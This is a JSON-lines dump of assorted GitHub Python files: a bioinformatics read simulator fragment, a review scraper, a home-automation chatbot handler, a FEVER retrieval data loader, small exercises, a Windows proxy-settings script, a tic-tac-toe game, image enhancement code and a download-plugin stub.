self.rand_res(seq_str[idx])\n            else:\n                if random.random() < 0.5:\n                    error_specs[idx]['+'] = self.rand_res()\n                else:\n                    if len(seq_str) > 1:\n                        error_specs[idx]['-'] = None\n\n        return error_specs\n\n    def rand_res(self, not_nuc=None):\n            if not_nuc is None:\n                # Use complete alphabet\n                res = list(self.alphabet_dict_out.keys())\n                cdf = self.alphabet_complete_out_cdf\n            else:\n                # Remove non-desired residue from alphabet\n                res_dict = self.alphabet_dict_out.copy()\n                del res_dict[not_nuc.upper()]\n                res = list(res_dict.keys())\n                cdf = self.alphabet_truncated_out_cdf\n\n            chosen_res = res[self.rand_weighted(cdf)]\n            return chosen_res\n\n    def rand_seq(self, positions, oids):\n        \"\"\"\n        Choose a sequence object randomly using a probability distribution.\n        \"\"\"\n        return self.database_get_seq(oids[self.rand_weighted(positions)])\n    \n    def rand_seq_chimera(self, sequence, chimera_perc, positions, oids):\n        \"\"\"\n        Produce an amplicon that is a chimera of multiple sequences.\n        \"\"\"\n\n        # Sanity check\n        if len(oids) < 2 and chimera_perc > 0:\n            raise ValueError(\"Error: Not enough sequences to produce chimeras\")\n\n        # Fate now decides to produce a chimera or not\n        if random.uniform(0, 100) <= chimera_perc:\n\n            # Pick multimera size\n            m = self.rand_chimera_size()\n            \n            # Pick chimera fragments\n            if self.chimera_kmer:\n                pos = self.kmer_chimera_fragments(m)\n            else:\n                pos = self.rand_chimera_fragments(m, sequence, positions, oids)\n\n            # Join chimera fragments\n            chimera = self.assemble_chimera(*pos)\n\n        else:\n            # No chimera needed\n            chimera = sequence\n\n        return chimera\n\n    def rand_seq_errors(self, seq):\n        seq_str = str(seq.seq)\n        error_specs = {}  # Error specifications\n\n        # First, specify errors in homopolymeric stretches\n        if self.homopolymer_dist:\n            error_specs = self.rand_homopolymer_errors(seq_str, error_specs)\n\n        # Then, specify point sequencing errors: substitutions, insertions, deletions\n        if self.mutation_para1:\n            error_specs = self.rand_point_errors(seq_str, error_specs)\n\n        # Finally, actually implement the errors as per the specifications\n        if error_specs:\n            seq.errors(error_specs)\n        return seq\n\n    def rand_seq_length(self, avg, model=None, stddev=None):\n        \"\"\"Choose the sequence length following a given probability distribution.\"\"\"\n        if not model:\n            # No specified distribution: all the sequences have the length of the average\n            return avg\n        else:\n            if model == 'uniform':\n                # Uniform distribution: integers uniformly distributed in [min, max]\n                min_val, max_val = avg - stddev, avg + stddev\n                return min_val + int(random.uniform(0, 1) * (max_val - min_val + 1))\n            elif model == 'normal':\n                # Gaussian distribution: decimal number normally distribution in N(avg,stddev)\n                length = random.gauss(avg, stddev)\n                return max(1, int(length + 0.5))\n            else:\n                raise ValueError(f\"Error: '{model}' is not a supported read or insert length distribution\")\n\n    def rand_seq_orientation(self):\n        \"\"\"Return a random read orientation: 1 for uncomplemented, or -1 for complemented.\"\"\"\n        return 1 if random.random() < 0.5 else -1\n\n    def rand_seq_pos(self, seq_obj, read_length, amplicon=None, mid=''):\n        \"\"\"\n        Pick the coordinates (start and end) of an amplicon or random shotgun read.\n        Coordinate system: the first base is 1 and the number is inclusive, i.e. 1-2\n        are the first two bases of the sequence.\n        \"\"\"\n        # Read length includes the MID\n        length = read_length - len(mid)\n        \n        # Pick starting position\n        if amplicon and self.start_primers == '1':\n            # Amplicon always starts at the first position of the amplicon\n            start = 0\n        else:\n            # Shotgun reads start at a random position in the genome\n            start = random.randint(0, len(seq_obj) - length)\n\n        # End position\n        end = start + length - 1\n        return start, end\n\n    def rand_seq_with_kmer(self, kmer, excl=None):\n        \"\"\"\n        Pick a random sequence ID that contains the given kmer. An optional sequence\n        ID to exclude can be provided.\n        \"\"\"\n        \n        sources, freqs = self.chimera_kmer_col.sources(kmer, excl, 1)\n        num_sources = len(sources)\n        if num_sources > 0:\n            cdf = self.proba_cumul(freqs)\n            source = sources[self.rand_weighted(cdf)]\n            return source\n        return None\n\n    def rand_weighted(self, cum_probas):\n        \"\"\"\n        Pick a random number based on the given cumulative probabilities.\n        Cumulative weights can be obtained from the proba_cumul() function.\n        \"\"\"\n        pick = random.random()\n        index = -1\n        for proba in cum_probas:\n            if pick >= proba:\n                index += 1\n            else:\n                return index\n        return index \n\n    def read_multiplex_id_file(self, file, nof_indep):\n        self.mids = []\n        # Read FASTA file containing the MIDs\n        with open(file, 'r') as in_file:\n            for record in SeqIO.parse(in_file, 'fasta'):\n                self.mids.append(str(record.seq))\n        # Sanity check\n        self.nof_mids = len(self.mids)\n        if self.nof_mids < nof_indep:\n            raise ValueError(f\"Error: {nof_indep} communities were requested \"\n                             f\"but the MID file had only {self.nof_mids} sequences.\")\n        elif self.nof_mids > nof_indep:\n            print(f\"Warning: {nof_indep} communities were requested but the MID \"\n                  f\"file contained {self.nof_mids} sequences. Ignoring extraneous MIDs.\")      \n        return self.mids\n    \n    def write_community_structure(self, c_struct, filename):\n        with open(filename, 'w') as out_file:\n            out_file.write(\"# rank\\tseq_id\\trel_abund_perc\\n\")\n            diversity = len(c_struct['ids'])\n            species_abs = {}\n\n            # Populate species_abs dictionary with the abundance of each species\n            for rank in range(diversity):\n                oid = c_struct['ids'][rank]\n                species_id = self.database_get_parent_id(oid)\n                seq_ab = c_struct['abs'][rank]\n                species_abs[species_id] = species_abs.get(species_id, 0) + seq_ab\n\n            # Sort species by abundance and write to the file\n            rank = 0\n            for species_id, species_ab in sorted(species_abs.items(), key=lambda item: item[1], reverse=True):\n                rank += 1\n                species_ab *= 100  # in percentage\n                species_ab = round(species_ab,1)\n                out_file.write(f\"{rank}\\t{species_id}\\t{species_ab}\\n\")\n","repo_name":"philcharron-cfia/biogrinder","sub_path":"src/Biogrinder.py","file_name":"Biogrinder.py","file_ext":"py","file_size_in_byte":71580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"4678281566","text":"import pandas as pd \r\nimport numpy as np \r\nfrom datetime import datetime\r\nimport time\r\nimport logging\r\nimport traceback\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium import webdriver\r\nfrom bs4 import BeautifulSoup\r\n\r\nWebPageURL = \"https://nicelocal.ae/dubai/shops/barakat_quality_plus_llc/\"\r\n\r\nclass BKReviews3:\r\n\r\n    def __init__(self):\r\n        self.Date = []\r\n        self.Name = []\r\n        self.Review = []\r\n        self.Comments = []\r\n        self.Rating = []\r\n        self.driver = self.__get_driver()\r\n   \r\n    def __get_driver(self):\r\n        print(\"Attaching WebDriver\")\r\n   \r\n        input_driver = webdriver.Chrome()\r\n        input_driver.get(WebPageURL)\r\n\r\n        print(\"WebDriver Attached\")\r\n\r\n        return input_driver\r\n    \r\n    def __expand_reviews(self):\r\n        links = self.driver.find_element(By.XPATH,'//div[@class=\"js-show-more-box.pd-lxl.pt0\"]')\r\n        links[0].click()\r\n        time.sleep(2)\r\n\r\n    def extract_data(self):\r\n\r\n        # self.__expand_reviews()\r\n\r\n        content = self.driver.page_source\r\n        soup = BeautifulSoup(content,features=\"html.parser\")   \r\n\r\n        for user in soup.findAll('strong',attrs={'class':'z-text--16'}):\r\n            name = user.find('span',attrs={'itemprop':'name'})\r\n            self.Name.append(name.text)\r\n        print(len(self.Name))\r\n        for date in soup.findAll('span',attrs={'z-text--dark-gray'}):\r\n            self.Date.append(date.text[6:35])\r\n        print(len(self.Date[3:]))\r\n        for review in soup.findAll('span',attrs={'dir':\"auto\",'class':\"js-comment-content\"}):\r\n            self.Review.append(review.text)\r\n        print(len(self.Review))\r\n        \r\n        \r\n        print(\"Finished extraction\")\r\n    \r\n    def get_data(self):\r\n        df = pd.DataFrame({'Name':self.Name,'Date':self.Date[3:],'Review':self.Review})\r\n        df.to_csv('bkreview3.csv',index=False,encoding='utf-8')\r\n\r\nif __name__ == \"__main__\":\r\n    new_rev = BKReviews3()\r\n    new_rev.extract_data()\r\n    new_rev.get_data()\r\n","repo_name":"pk2203/Customer-Review-Data-Engineering","sub_path":"WebScraped/bkreviews3.py","file_name":"bkreviews3.py","file_ext":"py","file_size_in_byte":2008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"72818467881","text":"import json\n\nfrom DingBot import check_sig, replyOne\nfrom HomeControl import get_all, get_temperature, get_humidity, get_light, one_open, one_close, light_open, light_close, \\\n    none, get_hefeng\n\n\ndef get_data(request):\n    # 第一步验证：是否是post请求\n    if request.method == \"POST\":\n        # print(request.headers)\n        # 签名验证 获取headers中的Timestamp和Sign\n        timestamp = request.headers.get('Timestamp')\n        sign = request.headers.get('Sign')\n        # 第二步验证：签名是否有效\n        if check_sig(timestamp) == sign:\n            # 获取数据 打印出来看看\n            text_info = json.loads(str(request.data, 'utf-8'))\n            print(text_info)\n            print('签名验证通过')\n            return text_info\n        print('签名验证不通过')\n        return str(timestamp)\n\n    return str(request.headers)\n\n\ndef chat(request):\n    # 获取数据\n    text_info = get_data(request)\n    # 获取聊天内容\n    chat_info = text_info['text']['content']\n    # 控制机器\n    reply = message_handler(chat_info)\n    # 发送回复内容\n    if reply != 'none':\n        replyOne(text_info, reply)\n    else:\n        replyOne(text_info, '喵喵喵？')\n    return text_info\n\n\ndef message_handler(message):\n    switcher = {\n        '当前温度': get_temperature\n        , '温度': get_temperature\n        , '当前湿度': get_humidity\n        , '湿度': get_humidity\n        , '当前光照': get_light\n        , '光照': get_light\n        , '亮度': get_light\n        , '播报信息': get_all\n        , '开灯': light_open\n        , '关灯': light_close\n        , '开启设备': one_open\n        , '关闭设备': one_close\n        , '亮灯': light_open\n        , '闭灯': light_close\n        , '当前天气': get_hefeng\n        , '天气': get_hefeng\n        , '播报': get_all\n    }\n    print(message)\n    return switcher.get(message.strip(), none)()\n","repo_name":"tyza66/HomeHolder-DingBot","sub_path":"服务程序/python/ChatHandler.py","file_name":"ChatHandler.py","file_ext":"py","file_size_in_byte":1939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"6358423382","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\nimport random\nfrom time import time\n\nfrom allennlp.data.iterators import BasicIterator\nfrom allennlp.data.token_indexers import SingleIdTokenIndexer, \\\n                                         ELMoTokenCharactersIndexer\n\nimport config\nfrom configuration import config as cfg\nimport nn_doc_retrieval.disabuigation_training as disamb\nfrom utils import fever_db\nfrom data_util.exvocab import load_vocab_embeddings\nfrom data_util.data_readers.fever_sselection_reader import SSelectorReader\nfrom chaonan_src._utils.doc_utils import read_jsonl\n\n\n__author__ = ['chaonan99', 'yixin1']\n\n\nclass DocIDCorpus(object):\n    def __init__(self, jl_path, train=False):\n        self.d_list = read_jsonl(jl_path)\n        self.train = train\n        self.initialized = False\n        self.batch_size = None\n\n    def initialize(self):\n        print('Data reader initialization ...')\n        self.cursor = fever_db.get_cursor()\n\n        # Prepare Data\n        token_indexers = {\n            'tokens': \\\n                SingleIdTokenIndexer(namespace='tokens'),\n            'elmo_chars': \\\n                ELMoTokenCharactersIndexer(namespace='elmo_characters')\n        }\n        self.fever_data_reader = SSelectorReader(token_indexers=token_indexers,\n                                                 lazy=cfg.lazy)\n\n        vocab, weight_dict = load_vocab_embeddings(config.DATA_ROOT \\\n                                                   / 'vocab_cache' \\\n                                                   / 'nli_basic')\n        # THis is important\n        ns = 'selection_labels'\n        vocab.add_token_to_namespace('true', namespace=ns)\n        vocab.add_token_to_namespace('false', namespace=ns)\n        vocab.add_token_to_namespace('hidden', namespace=ns)\n        vocab.change_token_with_index_to_namespace('hidden', -2, namespace=ns)\n        # Label value\n\n        vocab.get_index_to_token_vocabulary(ns)\n\n        self.vocab = vocab\n        self.weight_dict = weight_dict\n        self.initialized = True\n\n    def get_dp_from_id(self, id):\n        if not hasattr(self, 'd_list_dict'):\n            self.d_list_dict = {item['id']: item for item in self.d_list}\n        return self.d_list_dict[int(id)]\n\n    def resample(self):\n        print('Resampling ...')\n        start = time()\n        if self.train:\n            complete_upstream_data = \\\n                disamb.sample_disamb_training_v0(self.d_list,\n                                                 self.cursor,\n                                                 cfg.pn_ratio,\n                                                 cfg.contain_first_sentence)\n        else:\n            complete_upstream_data = \\\n                disamb.sample_disamb_inference(self.d_list, self.cursor,\n                    contain_first_sentence=cfg.contain_first_sentence)\n\n        random.shuffle(complete_upstream_data)\n        self.instances = self.fever_data_reader.read(complete_upstream_data)\n        self.complete_upstream_data = complete_upstream_data\n        end = time()\n        print('Resampling time:', end - start)\n\n    def initialize_from_exist_corpus(self, corpus):\n        assert isinstance(corpus, type(self))\n        assert corpus.initialized, 'Exist corpus not initialized!'\n        self.cursor = corpus.cursor\n        self.fever_data_reader = corpus.fever_data_reader\n        self.vocab = corpus.vocab\n        self.weight_dict = corpus.weight_dict\n        self.initialized = True\n\n    def get_batch(self, batch_size, device_num=-1):\n        if not self.initialized:\n            self.initialize()\n\n        if self.batch_size is None or self.batch_size != batch_size:\n            self.batch_size = batch_size\n            biterator = BasicIterator(batch_size=batch_size)\n            biterator.index_with(self.vocab)\n            self.biterator = biterator\n\n        if self.train or not hasattr(self, 'instances'):\n            self.resample()\n\n        return self.biterator(self.instances,\n                              shuffle=self.train,\n                              num_epochs=1,\n                              cuda_device=device_num)\n\n    def index_to_sent(self, ind_list):\n        indexer = lambda x: \\\n                  self.vocab.get_token_from_index(x, namespace='tokens')\n        return ' '.join([indexer(x) for x in ind_list if x != 0])\n\n    def __len__(self):\n        return len(self.complete_upstream_data) \\\n               if hasattr(self, 'complete_upstream_data') else 0\n\n\ndef main():\n    # toy_dev_file = config.RESULT_PATH \\\n    #                / 'doc_retri_bls/docretri.basic.nopageview/dev_toy.jsonl'\n    train_upstream_file = config.RESULT_PATH \\\n                   / 'doc_retri_bls/docretri.basic.nopageview/train.jsonl'\n    batch_size = 10\n\n    corpus = DocIDCorpus(train_upstream_file, train=True)\n    batchifier = corpus.get_batch(batch_size)\n    a = next(batchifier)\n\n    for i in range(batch_size):\n        p = a['premise']['tokens'][i]\n        h = a['hypothesis']['tokens'][i]\n        dataid, docid = a['pid'][i].split('###')\n        print(corpus.index_to_sent(p.tolist()))\n        print(corpus.index_to_sent(h.tolist()))\n        print(corpus.get_dp_from_id(dataid)['claim'])\n        print(docid)\n        print(a['selection_label'][i].tolist())\n        print()\n\n    from IPython import embed; embed(); import os; os._exit(1)\n\n\nif __name__ == '__main__':\n    main()","repo_name":"easonnie/combine-FEVER-NSMN","sub_path":"src/chaonan_src/_nn_doc_retrieval/src/yjdr.basic/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":5365,"program_lang":"python","lang":"en","doc_type":"code","stars":71,"dataset":"github-code","pt":"18"}
{"seq_id":"75069231081","text":"# Escriba una función recursiva que verifica si n es primo \n\ndef getNum():\n    num = int(input())\n    if num>1 :\n        return num\n    else : \n        return getNum()\n    \ndef Prim(n , index, con ):\n    \n    if index == 1 :\n        if con == 1 : return True\n        else : return False\n    else : \n        if n % index == 0 : \n            con = con + 1 \n            return Prim(n,index - 1 ,con )\n        else : \n            return Prim(n,index - 1 ,con )\n\n\ndef kill():\n    number = getNum()\n    if Prim(number, number, 0) : \n        print(\"El numero es primo\")\n    else : \n        print(\"El numero no es primo\")\n\nkill()","repo_name":"Orm15/ejercicios","sub_path":"Ejercicios de recursividad/ejercicio5.py","file_name":"ejercicio5.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"3051530971","text":"from ctypes import *\r\nfrom ctypes.wintypes import *\r\n\r\nLPWSTR = POINTER(WCHAR)\r\nHINTERNET = LPVOID\r\n\r\nINTERNET_PER_CONN_PROXY_SERVER = 2\r\nINTERNET_OPTION_REFRESH = 37\r\nINTERNET_OPTION_SETTINGS_CHANGED = 39\r\nINTERNET_OPTION_PER_CONNECTION_OPTION = 75\r\nINTERNET_PER_CONN_PROXY_BYPASS = 3\r\nINTERNET_PER_CONN_FLAGS = 1\r\n\r\n\r\nclass INTERNET_PER_CONN_OPTION(Structure):\r\n    class Value(Union):\r\n        _fields_ = [\r\n            ('dwValue', DWORD),\r\n            ('pszValue', LPWSTR),\r\n            ('ftValue', FILETIME),\r\n        ]\r\n\r\n    _fields_ = [\r\n        ('dwOption', DWORD),\r\n        ('Value', Value),\r\n    ]\r\n\r\n\r\nclass INTERNET_PER_CONN_OPTION_LIST(Structure):\r\n    _fields_ = [\r\n        ('dwSize', DWORD),\r\n        ('pszConnection', LPWSTR),\r\n        ('dwOptionCount', DWORD),\r\n        ('dwOptionError', DWORD),\r\n        ('pOptions', POINTER(INTERNET_PER_CONN_OPTION)),\r\n    ]\r\n\r\n\r\ndef set_proxy_settings(ip, port, on=True):\r\n    if on:\r\n        setting = create_unicode_buffer(ip + \":\" + str(port))\r\n    else:\r\n        setting = None\r\n\r\n    InternetSetOption = windll.wininet.InternetSetOptionW\r\n    InternetSetOption.argtypes = [HINTERNET, DWORD, LPVOID, DWORD]\r\n    InternetSetOption.restype = BOOL\r\n\r\n    List = INTERNET_PER_CONN_OPTION_LIST()\r\n    Option = (INTERNET_PER_CONN_OPTION * 3)()\r\n    nSize = c_ulong(sizeof(INTERNET_PER_CONN_OPTION_LIST))\r\n\r\n    Option[0].dwOption = INTERNET_PER_CONN_FLAGS\r\n    Option[0].Value.dwValue = (2 if on else 1)  # PROXY_TYPE_DIRECT Or\r\n    Option[1].dwOption = INTERNET_PER_CONN_PROXY_SERVER\r\n    Option[1].Value.pszValue = setting\r\n    Option[2].dwOption = INTERNET_PER_CONN_PROXY_BYPASS\r\n    Option[2].Value.pszValue = create_unicode_buffer(\r\n        \"localhost;127.*;10.*;172.16.*;172.17.*;172.18.*;172.19.*;172.20.*;172.21.*;172.22.*;172.23.*;172.24.*;172.25.*;172.26.*;172.27.*;172.28.*;172.29.*;172.30.*;172.31.*;172.32.*;192.168.*\")\r\n\r\n    List.dwSize = sizeof(INTERNET_PER_CONN_OPTION_LIST)\r\n    List.pszConnection = None\r\n    List.dwOptionCount = 3\r\n    List.dwOptionError = 0\r\n    List.pOptions = Option\r\n\r\n    InternetSetOption(None, INTERNET_OPTION_PER_CONNECTION_OPTION, byref(List), nSize)\r\n    InternetSetOption(None, INTERNET_OPTION_SETTINGS_CHANGED, None, 0)\r\n    InternetSetOption(None, INTERNET_OPTION_REFRESH, None, 0)\r\n\r\n\r\nif __name__ == '__main__':  # Точка входа при запуске этого скрипта\r\n    #set_proxy_settings(\"91.205.172.113\", 3120)\r\n    set_proxy_settings(\"159.197.250.11\", 3128, on=False)\r\n    print(\"ok\")\r\n","repo_name":"WISEPLAT/python-code","sub_path":"python-proxy/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2515,"program_lang":"python","lang":"en","doc_type":"code","stars":73,"dataset":"github-code","pt":"18"}
{"seq_id":"25310979780","text":"import csv\n\nwith open('mnist_test.csv') as csv_file:\n    csv_reader = csv.reader(csv_file, delimiter=',')\n    line_count = 0\n    for row in csv_reader: \n        print(row[0])\n        count = 1\n        for r in range(1,29):\n            for c in range(1,29):\n                if (int(row[count]) < 50):\n                    print(\".\", end=\"\")\n                else:\n                    print(\"#\", end=\"\")\n                count = count + 1\n            print(\"\")\n","repo_name":"YEOWEIHNGWHYELAB/NUSPE111-CSCourse","sub_path":"cs1010/as09/csvtotxt.py","file_name":"csvtotxt.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"23281718935","text":"import logging\nimport time\nimport cv2\nimport numpy as np\nimport shutil\nimport os\nfrom abc import ABC\nfrom program.abstract.algorithm import Algorithm\nfrom common.util.algorithm.ACE import ACE_color\nfrom common.util.algorithm.dehaze import deHaze, addHaze\nfrom common.util.algorithm.hist_equalize import adaptive_hist_equalize\n\n\nclass Imgprocess(Algorithm, ABC):\n\n    def __init__(self):\n        pass\n\n    def execute(task):\n        return Imgprocess.start_enhance_task(task)\n\n    def start_enhance_task(taskParameters):\n        \"\"\"\n        Enhance task method.\n        Args:\n            enhanceTaskId: enhance task id.\n            redisClient: redis client.\n        \"\"\"\n        dataset_id = taskParameters['id']\n        img_save_path = taskParameters['enhanceFilePath']\n        ann_save_path = taskParameters[\"enhanceAnnotationPath\"]\n        file_list = taskParameters['fileDtos']\n        nums_, img_path_list, ann_path_list = Imgprocess.img_ann_list_gen(file_list)\n        process_type = taskParameters['type']\n        re_task_id = taskParameters['reTaskId']\n        img_process_config = [dataset_id, img_save_path,\n                              ann_save_path, img_path_list,\n                              ann_path_list, process_type, re_task_id]\n        return Imgprocess.image_enhance_process(img_process_config)\n        logging.info(str(nums_) + ' images for augment')\n\n    def img_ann_list_gen(file_list):\n        \"\"\"Analyze the json request and convert to list\"\"\"\n        nums_ = len(file_list)\n        img_list = []\n        ann_list = []\n        for i in range(nums_):\n            img_list.append(file_list[i]['filePath'])\n            ann_list.append(file_list[i]['annotationPath'])\n        return nums_, img_list, ann_list\n\n    def image_enhance_process(img_task):\n        \"\"\"The implementation of image augmentation thread\"\"\"\n        global finish_key\n        global re_task_id\n        logging.info('img_process server start'.center(66, '-'))\n        result = True\n        try:\n            dataset_id = img_task[0]\n            img_save_path = img_task[1]\n            ann_save_path = img_task[2]\n            img_list = img_task[3]\n            ann_list = img_task[4]\n            method = img_task[5]\n            re_task_id = img_task[6]\n            suffix = '_enchanced_' + re_task_id\n            logging.info(\"dataset_id \" + str(dataset_id))\n\n            finish_key = {\"processKey\": re_task_id}\n            finish_data = {\"id\": re_task_id,\n                           \"suffix\": suffix}\n            for j in range(len(ann_list)):\n                img_path = img_list[j]\n                ann_path = ann_list[j]\n                Imgprocess.img_process(suffix, img_path, ann_path,\n                            img_save_path, ann_save_path, method)\n\n            logging.info('suffix:' + suffix)\n            logging.info(\"End img_process of dataset:\" + str(dataset_id))\n            return finish_data, result\n\n        except Exception as e:\n            result = False\n            return finish_data, result\n            logging.error(\"Error imgProcess\")\n            logging.error(e)\n        time.sleep(0.01)\n\n    def img_process(suffix, img_path, ann_path, img_save_path, ann_save_path, method_ind):\n        \"\"\"Process images and save in specified path\"\"\"\n        inds2method = {1: deHaze, 2: addHaze, 3: ACE_color, 4: adaptive_hist_equalize}\n        method = inds2method[method_ind]\n        img_raw = cv2.imdecode(np.fromfile(img_path.encode('utf-8'), dtype=np.uint8), 1)\n        img_suffix = os.path.splitext(img_path)[-1]\n        ann_name = os.path.basename(ann_path)\n        if method_ind <= 3:\n            processed_img = method(img_raw / 255.0) * 255\n        else:\n            processed_img = method(img_raw)\n        cv2.imwrite(img_save_path + \"/\" + ann_name + suffix + img_suffix,\n                    processed_img.astype(np.uint8))\n        shutil.copyfile(ann_path.encode('utf-8'), (ann_save_path + \"/\" + ann_name + suffix).encode('utf-8'))","repo_name":"yejinlei/Dubhe","sub_path":"dubhe_data_process/program/exec/imgprocess/imgprocess.py","file_name":"imgprocess.py","file_ext":"py","file_size_in_byte":3945,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"}
{"seq_id":"25979218651","text":"import pygame\r\nimport sys\r\n\r\n# Инициализация Pygame\r\npygame.init()\r\n\r\n# Определение размеров окна\r\nWIDTH = 300\r\nHEIGHT = 300\r\nLINE_WIDTH = 6\r\nBOARD_SIZE = 3\r\n\r\n# Определение цветов\r\nBLACK = (0, 0, 0)\r\nWHITE = (255, 255, 255)\r\n\r\n# Создание игровой доски\r\nboard = [['', '', ''],\r\n         ['', '', ''],\r\n         ['', '', '']]\r\n\r\n# Создание экрана\r\nscreen = pygame.display.set_mode((WIDTH, HEIGHT))\r\npygame.display.set_caption(\"Крестики-нолики\")\r\n\r\n\r\ndef draw_board():\r\n    # Очистка экрана\r\n    screen.fill(WHITE)\r\n\r\n    # Рисование вертикальных линий\r\n    for x in range(1, BOARD_SIZE):\r\n        pygame.draw.line(screen, BLACK, (x * WIDTH // BOARD_SIZE, 0),\r\n                         (x * WIDTH // BOARD_SIZE, HEIGHT), LINE_WIDTH)\r\n\r\n    # Рисование горизонтальных линий\r\n    for y in range(1, BOARD_SIZE):\r\n        pygame.draw.line(screen, BLACK, (0, y * HEIGHT // BOARD_SIZE),\r\n                         (WIDTH, y * HEIGHT // BOARD_SIZE), LINE_WIDTH)\r\n\r\n    # Рисование крестиков и ноликов\r\n    for x in range(BOARD_SIZE):\r\n        for y in range(BOARD_SIZE):\r\n            if board[x][y] == 'X':\r\n                pygame.draw.line(screen, BLACK, (x * WIDTH // BOARD_SIZE, y * HEIGHT // BOARD_SIZE),\r\n                                 ((x + 1) * WIDTH // BOARD_SIZE, (y + 1) * HEIGHT // BOARD_SIZE), 2)\r\n                pygame.draw.line(screen, BLACK, ((x + 1) * WIDTH // BOARD_SIZE, y * HEIGHT // BOARD_SIZE),\r\n                                 (x * WIDTH // BOARD_SIZE, (y + 1) * HEIGHT // BOARD_SIZE), 2)\r\n            elif board[x][y] == 'O':\r\n                pygame.draw.circle(screen, BLACK,\r\n                                   (x * WIDTH // BOARD_SIZE + WIDTH // (2 * BOARD_SIZE),\r\n                                    y * HEIGHT // BOARD_SIZE + HEIGHT // (2 * BOARD_SIZE)),\r\n                                   WIDTH // (2 * BOARD_SIZE) - 2, 2)\r\n\r\n    # Обновление экрана\r\n    pygame.display.flip()\r\n\r\n\r\ndef check_draw():\r\n    # Проверка на ничью\r\n    for row in board:\r\n        if '' in row:\r\n            return False\r\n    return True\r\n\r\n\r\ndef check_win(player):\r\n    # Проверка на победу в строках\r\n    for row in board:\r\n        if set(row) == {player}:\r\n            return True\r\n\r\n    # Проверка на победу в столбцах\r\n    for col in range(BOARD_SIZE):\r\n        if set([board[row][col] for row in range(BOARD_SIZE)]) == {player}:\r\n            return True\r\n\r\n    # Проверка на победу по диагоналям\r\n    if set([board[i][i] for i in range(BOARD_SIZE)]) == {player} or \\\r\n            set([board[i][BOARD_SIZE - 1 - i] for i in range(BOARD_SIZE)]) == {player}:\r\n        return True\r\n\r\n    return False\r\n\r\n\r\nplayer_turn = 'X'\r\ngame_over = False\r\n\r\n# Основной игровой цикл\r\nwhile True:\r\n    for event in pygame.event.get():\r\n        if event.type == pygame.QUIT:\r\n            sys.exit()\r\n        if event.type == pygame.MOUSEBUTTONDOWN and not game_over:\r\n            mouse_x, mouse_y = pygame.mouse.get_pos()\r\n            x = mouse_x // (WIDTH // BOARD_SIZE)\r\n            y = mouse_y // (HEIGHT // BOARD_SIZE)\r\n\r\n            if board[x][y] == '':\r\n                board[x][y] = player_turn\r\n\r\n                if check_win(player_turn):  # Проверка на победу\r\n                    print(f'Игрок {player_turn} победил!')\r\n                    game_over = True\r\n                elif check_draw():  # Проверка на ничью\r\n                    print(\"Ничья!\")\r\n                    game_over = True\r\n                else:\r\n                    player_turn = 'O' if player_turn == 'X' else 'X'\r\n            \r\n                draw_board()\r\n\r\n    draw_board()","repo_name":"SergeyTurking/XO","sub_path":"XO.py","file_name":"XO.py","file_ext":"py","file_size_in_byte":3913,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"11563245105","text":"import math\r\n\r\nnumero = 0.5\r\n\r\nif numero<0:\r\n    sinal_expoente = '-'\r\nelse:\r\n    sinal_expoente = '+'\r\n    \r\nexpoente = int(math.log(n, 10))   \r\n\r\nif numero<1:\r\n    expoente-=1\r\n\r\nnumero_notacao = numero/10**expoente\r\n\r\nprint(f'{numero_notacao:.4f}E{expoente:02}')\r\n\r\n","repo_name":"JohnJohnNB/OOP_Introduction","sub_path":"Module 5 - Strings/notacao_cientifica.py","file_name":"notacao_cientifica.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"72958464679","text":"import re\nword = input(\"Введите слово на кириллице: \")\npattern1 = r'[А-Яа-я]'\npattern2 = r'[1-9A-Za-z]'\nif re.match(pattern1, word) and re.search(pattern2, word) is None:\n    for indx, letter in enumerate(word):\n        if indx % 2 != 0:\n            if letter != \"а\" and letter != \"к\":\n                    print(letter)\nelse:\n    print(\"Вводить можно только кириллицу :Р\")","repo_name":"aischeveva/homework_kili","sub_path":"homework_prog/homework_2/hw2.py","file_name":"hw2.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"28958786561","text":"# -*- coding: utf-8 -*-\nimport json\nfrom functools import reduce\n\nimport pycurl\nfrom pyload.core.network.http.exceptions import BadHeader\n\nfrom ..base.multi_account import MultiAccount\n\n\ndef args(**kwargs):\n    return kwargs\n\n\nclass MegaDebridEu(MultiAccount):\n    __name__ = \"MegaDebridEu\"\n    __type__ = \"account\"\n    __version__ = \"0.37\"\n    __status__ = \"testing\"\n\n    __config__ = [\n        (\"mh_mode\", \"all;listed;unlisted\", \"Filter downloaders to use\", \"all\"),\n        (\"mh_list\", \"str\", \"Downloader list (comma separated)\", \"\"),\n        (\"mh_interval\", \"int\", \"Reload interval in hours\", 12),\n    ]\n\n    __description__ = \"\"\"Mega-debrid.eu account plugin\"\"\"\n    __license__ = \"GPLv3\"\n    __authors__ = [\n        (\"Devirex Hazzard\", \"naibaf_11@yahoo.de\"),\n        (\"GammaC0de\", \"nitzo2001[AT]yahoo[DOT]com\"),\n        (\"FoxyDarnec\", \"goupildavid[AT]gmail[DOT]com\"),\n    ]\n\n    LOGIN_TIMEOUT = -1\n\n    API_URL = \"https://www.mega-debrid.eu/api.php\"\n\n    def api_request(self, action, get={}, post={}):\n        get[\"action\"] = action\n\n        # Better use pyLoad User-Agent so we don't get blocked\n        self.req.http.c.setopt(\n            pycurl.USERAGENT, \"pyLoad/{}\".format(self.pyload.version).encode()\n        )\n\n        